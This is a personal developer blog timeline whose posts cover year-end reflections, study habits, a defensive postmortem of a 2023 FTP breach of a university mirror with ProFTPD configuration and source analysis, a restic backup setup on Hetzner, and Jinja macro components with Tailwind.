Blog Timeline on fluix's blog

Good things come to an end

Sun, 31 Dec 2023 00:00:00 +0000

Good morning, it’s been a while. 2023 has felt like a rather long year for me, and as it comes to an end, so do two of my longest-standing projects.

sway-borders is a fork I started in August of 2020 which attempted to implement more customizable, rounded borders for the Sway compositor. It succeeded in doing so in a customizable but hacky way by letting the user specify 8 images which would be overlaid and stretched across the corner and edges of windows or containers. I, and many others, used it until sometime around March 2023. It was the first project of mine that has had any kind of sizable userbase. Today, it is still the only such project. And soon, it will be archived.

I do not build projects with the intention of them becoming popular, but rather to learn and share information to the world. I definitely enjoyed the fact that sway-borders was popular, though; making something that I know other people find useful is rewarding, particularly — and maybe exclusively — when the community is friendly and supportive. It also netted me a very kind, roughly $50.00 CAD donation. However, at the time, I also felt rushed to get it out for the fear of someone else making a fork instead. I felt pressured to improve it and made hollow promises to continue work on it at some point. I’m not sure why I felt this way, because at least in the present I openly support alternatives like swayfx. I never did end up improving it, only managing to keep it up to date with upstream, until I stopped using it myself when I went back to the dull rectangular borders of upstream Sway.

Ultimately, I think I lack the necessary experience in C and graphics programming, and the drive to change that in the present, to make it really good. So, soon, I will archive the repository on GitHub and remove the long broken sway-borders-git package from the AUR. It was a fun project while it lasted and I learned a lot about Wayland and Arch in the process. It was also the entrypoint to many communities I remain an active member of to this day.

mordor is the hostname of my first virtual private server created at 00:30 UTC on June 10th, 2019. On it I hosted my first websites, ran a VPN server, IRC bouncer, and my own email server, played around with containers, made my first backups, and completed school assignments. It also started my tradition of naming machines after locations of Middle-earth. As I write this, it has an uptime of 1137 days, and I’m repeatedly marvelled by the fact that its Debian 10 operating system still isn’t running malware. My use and experience with it is directly or indirectly responsible for positions at school clubs, my freelance web development business, my paid and unpaid co-op positions, and my undergraduate status at the university.

mordor has already celebrated the new year, but it won’t make it far beyond that. I’ve moved almost everything off to a couple of other servers that are much better organized. I will be sad running the last poweroff, and for the record: yes it’s weird and nerdy to reminiss over and subtly personify a couple of virtual cores, RAM, and an SSD in a Toronto datacenter, but this is my blog and I write what I want on it. Goodnight good server, you’ve done us all well.

Finally, this blog post ostensibly marks the last writing I will do this year.

Goodbye 2023; see you soon 2024.

Resilience and problem solving

Mon, 10 Jul 2023 09:35:00 -0400

So I’m through my first term at the University of Waterloo as a Computer Engineering undergraduate and I’ve noticed some worrying trends when it comes to problem solving in our programming courses. Programming is a skill that I’ve worked on since early grade school, making things in Scratch, Python, then Visual Basic and Java. C++, the language for our course, is not a language I’ve had much experience with, but my knowledge in others has more than compensated to be able to quickly complete assignments. I totally understand that others do not have this experience – programming experience is not a requirement to enter the program, after all – and need more time and more help doing projects.

I’d like to think I’ve been a generally helpful person in the class. On class discussion boards and communication platforms, I frequently answer questions, often before an instructor has a chance to comment on it. I’m happy to test out other people’s code, and I go out of my way to explain more complex concepts like a program’s stack and heap to friends. However, there are some questions that leave me feeling disappointed and frustrated, not because I cannot answer them or because they are particularly trivial, but because of a lack of effort from the asker.

Lots of questions can be answered by just looking at previous questions on our discussion board. There’s a handy search feature that quickly finds questions with similar content. Lecture notes and examples are also common references which I point out to people, and even the course syllabus (which everyone is expected to read and instructors go over at the start of the course) gets regular linking to.

Others will ask a question about how to implement a complex function and I’ll describe an overall approach without going into exact details. They’ll proceed to implement a single loop condition before asking if it’s correct.

Situations like these are common in technical circles. They are the source of acronyms like RTFM and terms like help vampire. I feel like a lot of these boil down to being afraid to test, but I’m not sure why. Programming, to me, is the easiest domain in which to test solutions. It’s literally a compile away! In projects with provided examples, you don’t even need to perform any manual data entry as you might in mathematics. Yet still, people refuse to just run their code.

In some ways it’s easy for me to blame the person asking, and I think some of that blame is fair. University students should be expected to research solutions to their problems, see if anyone has asked a similar question on discussion boards, review lecture notes and examples, and test their code. If you’re going to ask a question, make sure to put some effort behind it.

But I also think some of the blame goes to the instructors and teaching assistants helping out students. On numerous occasions, I have seen support provided by writing code for students or telling them exactly what is wrong and how to fix it, instead of providing test cases and debugging suggestions. Not only does this instill poor habits in students, but it takes inordinate amounts of time which could be better utilized to help more students. In rare occasions I’ve even seen incorrect answers being provided instead of a simple “I don’t know” which sidetracked students for some time, only for them to return again later.

I would wager that this kind of over-compassionate response does two things: it deprives the challenging part of learning that’s vital to building better problem solving skills, and it reinforces fixed mindsets which lead to worse resilience.¹ Years back, a high school computer science teacher often replied to questions with a phrase similar to “Read. Read it again. Then, read it one more time.” (referring to problem descriptions or lesson notes). As harsh and frustrating as this answer felt in the moment, I think such a response — phrased with a tad more encouragement — has its merits and ultimately builds students’ resilience.

Of course, all of this extends to far more than just programming courses or even education. This area is just my own experience in it. When I wrote the first draft of this post, exams were around the corner and, as the first few paragraphs may indicate, I was starting to get mildly annoyed with last minute questions. Revisiting my writing in the new year has proven to be quite fruitful. I’ve expanded on my ideas and did more research into this topic.

I think asking good questions and providing good answers are important skills to think about, whether as a friend and classmate, a partner, teacher, or parent. We often have the tools to solve our problems, so put them to use and see what happens. When you reach a roadblock, ask for help and demonstrate the effort you’ve already put in. When you’re offering help, do so with warm encouragement and a confident push in the right direction, not by solving the issue yourself.

This post was written a few months ago, but I hesitated publishing it because I wanted to do more thinking and research about how people learn and why the situations I describe happen. I still plan on doing so, but I figured I may as well publish this as is, if for no other reason that to have a record of my thoughts at the time.

If you have thoughts on the matter, please get in touch. I’m interested in others’ perspectives.

Yeager, D. S., & Dweck, C. S. (2012). Mindsets That Promote Resilience: When Students Believe That Personal Characteristics Can Be Developed. Educational Psychologist, 47(4), 302–314. doi:10.1080/00461520.2012.722805 ↩︎

A mirror hack should not be catastrophic

Sun, 09 Jul 2023 20:50:00 -0400

This is a continuation of my thoughts on the csclub.uwaterloo.ca mirror hack.

This could have been catastrophic. An attacker could have modified the sync scripts to compromise all the files we served from our mirror.

Yes, they could control all files served by the mirror, but this presumes that upstream projects trusted the mirror operators in the first place.¹ While this may be the case for mirroring their own files, any third party project which lists the CSC mirror as an official mirror need not, and should not, naively trust that they will serve the same files they received.

If projects did, becoming a popular mirror and then swapping out files with malicious ones would be big business. And while it takes some effort to run a mirror, I would bet it’s far simpler than many other methods of distributing malware.

Instead, projects sign the files (commonly application packages) they serve with known asymmetric encryption keys that users verify. For OS distributions like Arch or Alpine, users get a copy of the public key(s) in their initial download of the ISO from a first-party source, and then their respective package managers (pacman and apk) verify that all future downloads are signed by the respective private key(s).

Of the 61 projects mirrored, over 75% have signatures attached, so malicious files would be quickly detected and the mirror operators informed.² There would be no catastrophe. This security is the very purpose of package signing.

Several things had gone wrong here. The “mirror” user didn’t have a password. The default settings of ProFTPD were too insecure for our use case, and the documentation is incredibly hard-to-read.³ We didn’t prevent logins via FTP. We didn’t prevent unnecessary access to home directories. We didn’t check our FTP logs often, or have an automated way to do it. If even one of these factors had been mitigated, the breach that we finally detected wouldn’t have occurred. Syscom would eventually switch over to vsftpd (very-secure FTP daemon, a more secure implementation with much more readable documentation) instead, for a simpler configuration to avoid further mishaps.⁴

I think the primary lessons here, of using software you personally understand, and minimizing your attack surface by choosing the most minimal, secure application for the job, are key. After all, as a system administrator — some of whom are even software engineers — responsible for important infrastructure, is not knowing the software you run a good excuse for getting pwned?

Of course I don’t mean you should perform a software audit on everything you use, or know every part of the Linux kernel, or know all applicable RFCs by heart,⁵ but you should be confident in your choice of tool for the job. If all you need to do is run a script every hour, use cron, not Ansible; if you can use a new tool or reuse an existing one, prefer the latter. And yes, there’s caveats and exceptions and difficulties in all of this, but that’s part of what makes this job so interesting — figuring out what’s best.

Thankfully, this is something the CSC sysadmins know, so I’m happy to hear security is improving, and I’ll continue to use the CSC mirror.

When asked for comment for this blog post, zseguin emphasized that it’s “important to know what’s running, where your points of entry are and where your logs are”, […]. [merenber] also mentioned that syscom “needs to be more proactive” and that “the vsftpd configuration is far simpler (only one config file)… This makes it far less likely for someone to screw it up.”

Food for Thought

The article concludes with three questions to the reader.

Can you identify where ProFTPD documents (or even find the source implementation) that it allows writes and logins from all users by default?

See the previous post where I also discuss the rationale behind this default.

What are some additional ways we could have prevented this breach, or detected it earlier, that aren’t mentioned in this post?

As analyzed in the previous post, there’s several alternatives that could have prevented the breach (or fixed it afterwards):

Disable logging in to the mirror user.
Add the mirror user to /etc/ftpusers.
Run ProFTPD as the mirror user.⁶

If you wrote an FTP daemon, what are some guard rails you would add to prevent incidents like this?

I think the author wants readers to say “prevent all writes by default.” That’s fine, but I’d like to propose a different solution: keep the default but add a quick start guide that goes over starting the daemon and mention that all users can now upload files. Then, include a short snippet of how this can be prevented. This has the added benefit of being applicable to ProFTPD without breaking backwards compatibility.

Projects that designate official mirrors trust and verify that operators will keep files up to date and maintain mirror availability. ↩︎
I originally had a table showing every mirrored project, whether the mirror was official, and whether there were signatures, but it took too long to check everything. Given that I cannot guarantee (in a reasonable amount of time) that the signatures are actually checked (by default) by package managers, that all files are signed, that the public key is obtained from a trusted source, or whether authenticity is guaranteed some other way, I figure I will leave it at this. ↩︎
http://proftpd.org/docs/ ↩︎
https://security.appspot.com/vsftpd.html ↩︎
Having read them is actually a pretty good idea. ↩︎
This is documented in the <Anonymous> directive docs. ↩︎

Thoughts on the csclub.uwaterloo.ca mirror hack

Sun, 09 Jul 2023 20:49:00 -0400

On April 21st, 2023, at 21:05:55, an IP address in Marrakesh, Morocco maliciously uploads the alexusMailer anonymous mailing PHP script to the University of Waterloo’s Computer Science Club (CSC) open source software mirror. A week later, on the chilly night of April 29th, 2023, at 11:44:00, past and present sysadmins of the University of Waterloo’s Computer Science Club notice the unusual file and collectively agree that the mirror’s server has been breached.

Staying up into the early hours of the following morning, they scour through logs, identify and patch the root cause, implement additional safeguards, and inform all relevant parties.

raymo, a member of the Systems Committee (syscom) of the CSC for several years and present sysadmin recounts this incident from his perspective in two articles, “FTPWND PART 1: SILENT BUT DEADLY” and “FTPWND PART 2: CLOSE SHAVE”, published in the 152nd volume of the mathNEWS paper. A little birdie recently brought these to my attention and, figuring I have relevant knowledge and similar experiences, I want to comment on his writing. He also helpfully left some questions and exercises for the reader to explore which I’ll go through as well.

If you have little interest in a summary of the articles, skip to part 2.

FTPWND PART 1: SILENT BUT DEADLY

raymo begins by describing his initial exposure to the incident, a few hours after the dust had already settled. He wakes up on April 30th, after returning from vacation, to pings from IRC discussing the breach.

We read about breaches and leaks and “pwn”s all the time, but they always seem to happen to others, and we think we’re foolproof. This is the story of how a system I was responsible for was breached.

I think most people exploring system administration come in with a feeling that they won’t mess it up. It’s easy to follow instructions, read documentation, and not make silly mistakes, right? With time, you gain some wisdom and an understanding that security is hard, with many issue hidden away in the unexplored interactions between components. Hopefully you understand this before it’s too late, before you’re responsible for user’s personal data or some important systems.

My own wake up call happened when my high school’s computer club (MCPT) judging server was pwned because we had left root SSH access open without a password. Of course it was a little bit more complicated than that — you can read the incident report here.

ACT I: Background

This section primarily discusses raymo’s role in the CSC, the purpose of a software mirror, a brief description of the FTP protocol, and the truly impressive size of the CSC club’s mirror.

If you look at the list of Arch Linux (another popular distribution) mirrors, you’ll see the CSC mirror listed as the only Tier-1 mirror (that is, mirrors that sync directly from the original source, and that other mirrors sync from) in Canada.¹ If our mirror were to go offline, that would result in a chain reaction, possibly causing other mirrors to go out of date as well.

I wasn’t sure if tier 2 mirrors sync from only a single mirror, but it appears that is indeed the case from the wording on the DeveloperWiki:NewMirrors page. I would not be surprised if all twelve tier 2 Canadian mirrors² sync from the tier 1 CSC mirror, so all of them would go out of sync if it went offline. This would prove problematic, but not catastrophic, as users can switch to other mirrors.

FTP servers can be configured to allow “anonymous” logins, which allow the downloading and uploading of files without logging in.³ This is commonly used by mirrors like the CSC’s, where anyone should be allowed to download mirrored files without logging in. As the title of this post suggests, FTP was the failing link that enabled the breach.

This is the first hint of what was involved in the server’s breach: the FTP server. I think it should also be noted that FTP hasn’t been recommended for mirroring by some distributions for over a decade. Arch Linux, for instance, had discussions to remove ftp mirrors from default mirrorlists in 2012,⁴ denied “accepting new ftp mirrors” since 2015,⁵ and now has only 1 of 468 mirrors, librelabucm.org in Spain, advertising the protocol. HTTP and HTTPS are the de facto standards.

Act II: Configuration

[…] mirrored sources are fetched regularly from upstream by “potassium-benzoate”, the machine that serves as our mirror, using a golang script called “merlin”, developed in-house by syscom. Merlin fetches to the /mirror/ root directory, and is run by the “mirror” user, which has no password, since potassium-benzoate is only accessible by syscom users, all of whom are trusted.

I think not having a password on a user with minimal privileges is pretty common and acceptable for the reasons mentioned, particularly when a machine doesn’t have other unprivileged users which could use the account for escalation.⁶ It certainly would not hurt to add a password to the user from a security standpoint, but it is unlikely anybody is logging in to this user directly anyways. Instead, a privileged user will change their uid/gid to mirror’s through a command like su without being prompted for a password.

If this is true, it would be better for the user to have an unmatchable password, meaning no value entered would ever match with the hashed version of the password stored in /etc/shadow. This is effectively the same as generating a strong password and promptly forgetting it. The value used by passwd --lock is !.

Alternatively, if the mirror user is only meant to be used as one under which other daemons and scripts are run, it could have a nonexistent login shell (or the more user-friendly nologin replacement shell). Privileged users can still run commands under it by using, e.g. doas -u mirror.

On the night of April 29th, the ProFTPD FTP daemon configuration contained the snippet below:

<Anonymous /mirror/root>
 # Limit WRITE everywhere in the anonymous chroot
 <Directory *>
 <Limit WRITE>
 DenyAll
 </Limit>
 </Directory>
</Anonymous>

raymo describes the functionality of this snippet as such:

The config file essentially creates an anonymous chroot at /mirror/root that allows for anyone to connect via FTP, without authentication, and download but not upload files.

My first thought when reading this was that the wording of anonymous chroot is strange. chroot is a Linux syscall that changes the root directory of the calling process and its children, often poorly used for sandboxing.⁷ The meaning is clarified by the <Anonymous> directive docs:

Syntax: <Anonymous anon-directory>

The <Anonymous> configuration section is used to create an anonymous FTP login, and is closed by a matching </Anonymous> directive. The anon-directory parameter specifies the directory to which the daemon, immediately after successful authentication, will restrict the session via chroot(2).

The first article ends with two questions to the reader:

What do you think is wrong with this configuration? How would you exploit it if you were an attacker?

While reading, I recall considering the nesting of <Directory *> being inside the <Anonymous> directive, and so the <Limit> directive only applying to paths of the form /mirror/root/* but not those under other directories, e.g. /mirror/foo. Perhaps there was a path traversal vulnerability which let attackers upload files outside of /mirror/root/? We’ll find out soon.

Thinking about it after the fact, I might consider that denying WRITE may not deny other non-read commands like modifying file permissions or deleting uploads. It turns out this is not the case; WRITE is actually a command group covering all commands which modify file data.⁸

FTPWND PART 2: CLOSE SHAVE

Act III: Pwned

zseguin, merenber, and szclsya, the syscom members online at the time, consider different methods of compromise, look through logs, and find pam_unix and ProFTPD logs matching the malicious files and their timestamps. Of course on a breached machine logs can’t always be trusted, but they’re okay to look at especially when working under the assumption that only minimal compromise of specific accounts was achieved.

FTP transfer logs are presented in the article,⁹ with attention being brought to the different directory and flags associated with the usual vs. malicious traffic.

/mirror/root/.../lirc-0.10.1.tar.bz2 b _ o a -wget@ ftp 0 * c
/mirror/root/.../lirc_0.10.1-7.debian.tar.xz b _ o a -wget@ ftp 0 * c
/mirror/root/.../libcue-2.2.1.tar.gz b _ o a -wget@ ftp 0 * c
/home/mirror/ARS.php a _ i r mirror ftp 0 * c
/home/mirror/alexusMailer_v2.0.php a _ i r mirror ftp 0 * c
/mirror/root/.../fluidsynth-2.3.1.tar.gz b _ o a -wget@ ftp 0 * c

These logs show that the files were uploaded by an authenticated FTP session as the mirror user. The single character flags that differ between the normal (o a) and malicious (i r mirror) transfers have the following meanings, from xferlog(5):

i: incoming transfer
r mirror: local authenticated user, mirror
o: outgoing transfer
a: anonymous guest user

Act IV: Damage Control

The root cause of the breach is found:

Upon investigating, zseguin realises that there is a compromising default set by ProFTPD. It allows writes and logins by all users, by default.¹⁰

A user simply logged in to the mirror user and uploaded the malware to /home/mirror/ because nothing prevented them.

The footnote states that this default was “determined through experimentation” leaving the proof as “an exercise for the reader.” So my ~~hand~~ mind is forced; I must investigate.

A Footnote

Cloning the ProFTPD source code, I head for the mod_auth module which is responsible for the login process.¹¹ It’s source is available in modules/mod_auth.c and, after various smaller functions, contains the biggie:

/* Next function (the biggie) handles all authentication, setting
 * up chroot() jail, etc.
 */
static int setup_env(pool *p, cmd_rec *cmd, const char *user, char *pass)

This function clocks in at just over 1,000 lines, but is mostly linear and easy to read. The comments and logging statements also improve readability, but I’m only trying to answer the question of where the default lies, so I’ll liberally skip unrelated code.

The first parts of this function handle the Anonymous, UserAlias, and RootLogin directives, and user, password, and group lookup errors, so let’s skip to line 1139 of the file:

/* If c != NULL from this point on, we have an anonymous login */
aclp = login_check_limits(main_server->conf, FALSE, TRUE, &i);

This call returns FALSE (0) if any <Limit LOGIN> directive matches, preventing the user from logging in, and TRUE (1) otherwise. For a default configuration, this returns 1 since no <Limit LOGIN> directives are present. Following the comment, I’ll exclude all blocks for anonymous logins. Proceeding on line 1187:

if (c == NULL &&
 aclp == 0) {
 pr_log_auth(PR_LOG_NOTICE,
 "USER %s (Login failed): Limit access denies login", origuser);
 goto auth_failure;
}

if (c == NULL ||
 (anon_require_passwd != NULL &&
 *anon_require_passwd == TRUE)) {
 // ...

This checks the previously set aclp and then begins more checks nested inside of this check which we pass because c = NULL. On line 1224:

/* It is possible for the user to have already been authenticated during
 * the handling of the USER command, as by an RFC2228 mechanism. If
 * that had happened, we won't need to call do_auth() here.
 */
if (!authenticated_without_pass) {
 auth_code = do_auth(p, c ? c->subset : main_server->conf, user_name,
 pass);

} else {
 auth_code = PR_AUTH_OK_NO_PASS;
}

By default, the login requires a password so do_auth is called which, based on the configuration, will attempt authentication through any number of authentication modules. By default, this will include the mod_auth_unix module which will authenticate through multiple Unix login mechanisms like /etc/shadow. There’s no reason this fails by default so at this point we’re already essentially logged in, but let’s continue on to line 1247:

switch (auth_code) {
 case PR_AUTH_OK_NO_PASS:
 auth_pass_resp_code = R_232;
 break;

 case PR_AUTH_OK:
 auth_pass_resp_code = R_230;
 break;

 case PR_AUTH_NOPWD:
 pr_log_auth(PR_LOG_NOTICE,
 "USER %s (Login failed): No such user found", user);
 goto auth_failure;

 // ...many more auth_failure cases omitted.

 default:
 break;
};

/* Catch the case where we forgot to handle a bad auth code above. */
if (auth_code < 0) {
 goto auth_failure;
}

Here we check for auth_code which will be PR_AUTH_OK and continue on to two important checks starting at line 1332:

res = pr_auth_is_valid_shell(c ? c->subset : main_server->conf,
 pw->pw_shell);
if (res == FALSE) {
 pr_log_auth(PR_LOG_NOTICE, "USER %s (Login failed): Invalid shell: '%s'",
 user, pw->pw_shell);
 goto auth_failure;
}

res = pr_auth_banned_by_ftpusers(c ? c->subset : main_server->conf,
 pw->pw_name);
if (res == TRUE) {
 pr_log_auth(PR_LOG_NOTICE, "USER %s (Login failed): User in "
 PR_FTPUSERS_PATH, user);
 goto auth_failure;
}

The first check determines whether we have a valid shell or not. It takes into acount the value of the RequireValidShell directive which defaults to on, so users are required to have a valid shell, and most users on a system do.

The second check is based on a special legacy file which sits at /etc/ftpusers. As the UseFtpUsers directive explains, this is a list of users which are not allowed to login to the FTP daemon. By default, this file is of course blank and so the check passes.

Then there’s handling of some more directives and a few more checks depending on configuration but none that really affect the default. We reach the end:

/* Authentication complete, user logged in, now kill the login
 * timer.
 */

So the compromosing default is true, mainly because ProFTPD relies on standard Unix authentication mechanisms and is designed to allow all users who could login to the server normally to also do so over FTP and upload files to the server.

Act IV: Damage Control (continued)

I would like to point out that, while the default in some sense “caused” the breach, I don’t think it’s an entirely bad default. Consider SSH for instance: all SSH servers that I know of, default to allowing all logins subject to similar checks as ProFTPD. You might say that this is an exception because the entire purpose of SSH is to remotely access the server, but then what about sftp (OpenSSH secure file transfer)?

ProFTPd’s documentation could use some work when it comes to default scenarios and mention more of the assumptions it makes because of the older FTP servers it is based off of. However, one should not be surprised that any daemon which relies on an external authentication mechanism trusts that authentication mechanism. I also find the rest of its documentation regarding directives and modules to be very comprehensive; and, as mentioned, it’s code is quite readable, at least the parts I’ve read.

To fix the breach, the diff below gets applied:

 <Anonymous /mirror/root>
 # Limit WRITE everywhere in the anonymous chroot
 <Directory *>
 <Limit WRITE>
 DenyAll
 </Limit>
 </Directory>
+ <Limit LOGIN>
+ AllowAll
+ </Limit>
 </Anonymous>
+<Limit LOGIN>
+ DenyAll
+</Limit>

This globally denies LOGIN commands except in the anonymous mirror directory. I think this is a simple, robust fix — good properties when it comes to security changes.

Private SSH keys stored in the “mirror” user’s home directory (used to update from secured upstreams) are rotated. Emails are sent to relevant upstream projects to notify them of the breach, and to invalidate the compromised SSH keys and rsync passwords. The University’s Information Systems and Technology Information Security Services Security Operations Center (IST SOC) is notified of the breach, since it occurred on the campus network.

Once the breach is contained, I think this is the right step to take in incident response. While you could wait to implement more security measures and do more investigation, informing everyone affected as soon as possible makes sure they can follow their own incident response plans more effectively. Ultimately, even if unaffected, I think informing users is also important to let them make their own decisions about trusting your systems and services.

When the MCPT judge was breached, our supervisor was informed the next morning and I published an incident report publicly before heading to bed the same night.

Finally, five hours after the initial discovery of the breach at midnight, the syscom members on duty could get some sleep.

And I hope they slept well, because they deserve it!

Personally, I don’t recall if I was finally calm after getting everything resolved or worried about the potential consequences for the club…

ACT V: LESSONS LEARNED

When I woke up that morning (my first day back from vacation) and checked IRC, my heart nearly stopped. This could have been catastrophic. An attacker could have modified the sync scripts to compromise all the files we served from our mirror.

And this is where I disagree. Read on in part 2.

https://archlinux.org/mirrors/tier/1/ ↩︎
https://archlinux.org/mirrors/tier/2/ ↩︎
https://www.investopedia.com/terms/f/ftp-file-transfer-protocol.asp ↩︎
https://lists.archlinux.org/archives/list/arch-dev-public@lists.archlinux.org/thread/QKZVK63V24T2VHSPKW2RICLCRNADBSDB/#BDUSRZG7JHZOCXVLG2BAC44TL6SAGNNG ↩︎
https://wiki.archlinux.org/index.php?title=DeveloperWiki:NewMirrors&diff=357525&oldid=357519 ↩︎
I do not know if this is the case with potassium-benzonate. ↩︎
chroot(2) explicitly states “it is not intended to be used for any kind of security purpose, neither to fully sandbox a process nor to restrict filesystem system calls.” ↩︎
http://www.proftpd.org/docs/howto/Limit.html ↩︎
I’ve removed the first few components of the logs, aligned the flags after the filename, shortened paths, and fixed some missing underscore characters corresponding to the special-action-flag. ↩︎
Determined through experimentation, proof left as an exercise for the reader ↩︎
http://www.proftpd.org/docs/modules/ ↩︎

Append-only Restic backups on a Hetzner Storage Box

Fri, 05 May 2023 00:00:00 +0000

This quick guide is written after hours of trying to get a basic restic backup repository setup on a Hetzner Storage Box. This took so long because Hetzner documentation on the Storage Box is lacking and restic’s rclone backend is complex.

Solution

On the Storage Box, setup an authorized_keys file as such:

command="rclone serve restic --stdio path/to/repo" <public key>

On a client, run restic commands as such:

restic -o rclone.program="ssh -p 23 u###@u###.your-storagebox.de -i /path/to/private/key" [command]

The rclone.program command can be simplified to simply ssh <host> if you configure an SSH config for whichever user you’ll be running this script as.

Background

Before creating backups, restic requires the creation of a repository through some backend. The simplest way to create a repository on a Storage Box would be to use the SFTP backend, but I would prefer using an append-only repository so that if my machines are compromised, I do not lose all backups alongside the original data from an attacker running a forget or prune command. So, I must use the REST Server backend or rclone backend instead.

Side tangent, I think append-only backups are an important feature that some people forget to think about when it comes to backing up data. If your backup scheme involves clients sending data to a server, have you considered what happens if they become compromised and send commands to delete data? You may lose your original copy of the data and any backups.

Of course, if you’re using a scheme where a server pulls data you are safe, or if your server keeps snapshots you’re also safe. Many cloud (backup) storage providers don’t support the former, and I prefer not to use the latter because it is vendor-specific and requires setup outside of the backup tool itself. I prefer a simple storage provider which gives me some amount of storage, as well as the ability to run restic (historically Borg) in server mode.

To be clear, append-only mode isn’t foolproof, for the reasons covered in the append-only repository documentation. This page and the rest of restic’s documentation on security considerations and threat modelling is excellent, by the way.

Back to setting up the backend for my restic repository, let’s take a look at the Hetzner documentation. Well, there’s no mention of restic, but there is a mention of Borg’s append-only mode telling people to look at its documentation. I happen to know Borg’s append-only mode operates in a similar way of running a backend on the server, so let’s keep looking. Connecting to the Storage Box through SSH gives some clues:

/home > help
# --- snip ---
| Available as server side backend: |
| borg |
| rsync |
| scp |
| sftp |
| rclone serve restic --stdio |
| |
| Please note that this is only a restricted shell which do not |
| support shell features like redirects or pipes. |
| |
| You can find more information in our Docs: |
| https://docs.hetzner.com/robot/storage-box/ |
+-----------------------------------------------------------------------------+

That last backend looks like the one we need, with an added --append-only flag and path. Let’s try it with the command= forced command syntax of the authorized_keys file. How you would know that this is the right way to do so is beyond me, especially because trying to run the command in the restricted interactive shell fails with “Command not found.”

command="rclone serve restic --stdio <repository>" <public key>

Now for the client side: the documentation is mostly centered around running rclone, a program which manages files on cloud storage providers, locally which will then connect to some backend (e.g. SFTP) as such:

$ restic -r rclone:<repository> [command]

Trying to setup rclone locally proved unsuccessful, because it was the wrong way to go about it. Attempting to use the REST backend (which is what rclone serve actually serves) won’t work either, because of the --stdio flag which serves the REST backend over stdin/out instead of an HTTP port. And no, you cannot remove this flag and listen on a port becuase Hetzner doesn’t allow listening on arbitrary ports. Instead, we need to tell restic to use the rclone instance that will run on the other end of the SSH connection, using the remarkably simple to remember command:

$ restic -o rclone.program="ssh <host>" -r rclone:<repository> [command]

The best part about this is that it makes rclone itself no longer necessary on client machines, so I only need to install restic.

As I write this, I will mention that this invocation is actually mentioned at the very bottom of the restic rclone backend documentation. I ended up figuring this out through a blog post by Simon Ruderich. Funnily enough, that blog post is also linked to on the restic documentation. Guess I should have read through things more carefully being trying to set this up.

Components using Jinja macros with TailwindCSS

Sat, 11 Mar 2023 00:00:00 +0000

I’ve been doing web development for several years now and have come up with a frontend development pattern I quite like. So, here I am sharing it. To preface this, I want to say that I have a general distaste towards large amounts of JavaScript for its impacts on web security, privacy, and accessibility, its poor packaging and dependency situation, but mainly because I just haven’t used it all that much. So, my solution will avoid having a strict dependency on JavaScript.

I generally use Nginx as a reverse proxy in front of a Python backend using the Django framework, backed by a PostgreSQL database and, sometimes, a Redis cache. These are there to build the backend of my websites, have a place to store long-lived and ephemral data, and serve assets like images, videos, and the small amounts of JavaScript I do use. All of these tools can be replaced with your preferred alternatives. Now come the core components of this pattern: my preferred templating engine, Jinja, and the Tailwind CSS framework. You’ll see why I chose Jinja below, but the reason I chose Tailwind was because of its utility-first design.¹

The utility-first design allows for easy customization where necessary and places all styling within the markup, however, without a component system like that of React, I would end up with very repetitive HTML. Let’s work with an example of a frequently asked question section on a page:

<div class="mb-4 px-4">
 <h1 class="text-lg text-gray-900 font-bold">How do I do X?</h1>
 <p class="text-md text-gray-600 font-normal">
 Simple! You just have to foo bar.
 </p>
</div>
<div class="mb-4 px-4">
 <h1 class="text-lg text-gray-900 font-bold">How do I do Y?</h1>
 <p class="text-md text-gray-600 font-normal">
 Difficult! You would have to bar foo.
 </p>
</div>
<!-- More questions -->

That would be a lot of places to change if I wanted to change the font colours, let alone add new tags. One suggestion might be to provide data as part of the rendering context and use a for loop as such:

{% for title, answer in data %}
 <div class="mb-4 px-4">
 <h1 class="text-lg text-gray-900 font-bold">{{ title }}</h1>
 <p class="text-md text-gray-600 font-normal">
 {{ answer }}
 </p>
 </div>
{% endmacro %}

…but this would mix content and code: not ideal.² Sure, you could store this data elsewhere, but that increases complexity

Instead, let’s use Jinja macros! A macro is essentially a function inside of HTML which can be called with parameters.

{% macro question(title, answer) %}
 <div class="mb-4 px-4">
 <h1 class="text-lg text-gray-900 font-bold">{{ title }}</h1>
 <p class="text-md text-gray-600 font-normal">
 {{ answer }}
 </p>
 </div>
{% endmacro %}

{{ question("How do I do X?", "Simple! You just have to foo bar.") }}
{{ question("How do I do Y?", "Difficult! You would have to bar foo.") }}
{# More questions. #}

Now you may be asking, what do I do if I want to nest macros or the parameter is a very long string? Instead of using the macro directly, you can instead call the macro, which lets you use it as a block. The contents of the block can be accessed using the caller function within the macro as such:

{% macro question(title) %}
 <div class="mb-4 px-4">
 <h1 class="text-lg text-gray-900 font-bold">{{ title }}</h1>
 <p class="text-md text-gray-600 font-normal">
 {{ caller() }}
 </p>
 </div>
{% endmacro %}

{% call question("How do I do X?") %}
 Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy
 eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam
 voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet
 clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit.
{% endcall %}
{# More questions. #}

For text-based sections, I sometimes opt to use Markdown within the call block and render it with a markdown function I write as such: {{ markdown(caller()) }}. One other particularly clever trick you can do is return values, including other macros, back to the caller. This can be useful for restricting macros to be used only within certain contexts or to be able to use share names where you otherwise couldn’t. Of course, you should use this feature conservatively:

{% macro faq_section(header) %}
 {% macro question(title, answer) %}
 <div class="mb-4 px-4">
 <h2 class="text-lg text-gray-900 font-bold">{{ title }}</h2>
 <p class="text-md text-gray-600 font-normal">
 {{ answer }}
 </p>
 </div>
 {% endmacro %}

 <div class="pb-4">
 <h1 class="text-xl">{{ header }}</h1>
 {{ caller(question) }}
 </div>
{% endmacro %}

{% call(question) faq_section("Account Questions") %}
 {{ question("How do I do X?", "Simple! You just have to foo bar.") }}
 {# More questions. #}
{% endcall %}

{# This call would be undefined. #}
{{ question("How do you Y?", "You don't.") }}

Finally, for commonly used macros, I like to put them in a separate file called components.jinja and import them in a base template with:

{% from "components.jinja" import foo, bar, ... %}

This setup has proven very useful for minimizing repetitive code and increasing readability by decreasing nesting. It also makes it easy to make changes and, when combined with the other basic Jinja features of extending and importing templates, has proven very quick to work with. Starting up a project with this pattern is also easy with a minimal configuration involving only a basic Django project, maybe a couple settings changes, and the inclusion of the TailwindCSS library.³

I should also point out that if you prefer using a CSS framework which is component-based instead of utility-based, you can still leverage macros to your advantage. You also don’t need to start from scratch to use macros because they are entirely optional and generally self-contained. You can go through your HTML and simplify small parts at a time, building towards complete conversion.

Good luck in your future projects, and may these ideas prove useful!

